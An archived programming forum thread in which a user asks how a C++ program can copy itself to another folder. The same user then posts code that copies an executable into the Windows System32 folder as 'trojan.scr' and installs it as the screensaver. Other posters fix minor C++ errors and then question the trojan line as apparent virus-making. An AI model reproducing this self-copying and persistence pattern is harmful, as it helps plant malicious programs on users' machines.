wild life
September 29th, 2007, 01:43 AM
Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance!
|
Click to See Complete Forum and Search --> : Copying the program to folder wild life September 29th, 2007, 01:43 AM Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance! BageDevimo September 29th, 2007, 06:17 AM Hey, You can just use the system command. system("copy source.txt destination.txt); So in your case: system("copy <filename> C:\\backup\\<filename>"); BageDevimo, wild life September 29th, 2007, 11:31 AM Thanks! Do you guys and gals see any errors in this code? #include <iostream.h> int main() { system("copy winzip.exe c:\mydownloads"); system("copy winzip.exe c:\mydown~1"); system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage"); system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage"); system("copy <winzip.exe> C:\\Winnt\\System32\\<trojan.scr>"); system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr"); return 0; } Hermit September 29th, 2007, 04:08 PM trojan.scr What's the deal with this? The code you posted may as well be written as a batch script. The only errors I noticed on the C++ side of things are that <iostream.h> should just be <iostream> and that you should probably include cstdlib for the system function. GCDEF September 29th, 2007, 05:47 PM And this. system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr"); What are you doing there? :mad: Scottyob September 29th, 2007, 05:58 PM Haha, that's kind of funny. I thought he might have been making a virus when I saw his first post, this kind of implies that as well :P. This kind of thing might have some uses though, and if it's a trojen, maybe it's just a proof of concept thing? codeguru.com
Copyright Internet.com Inc., All Rights Reserved. |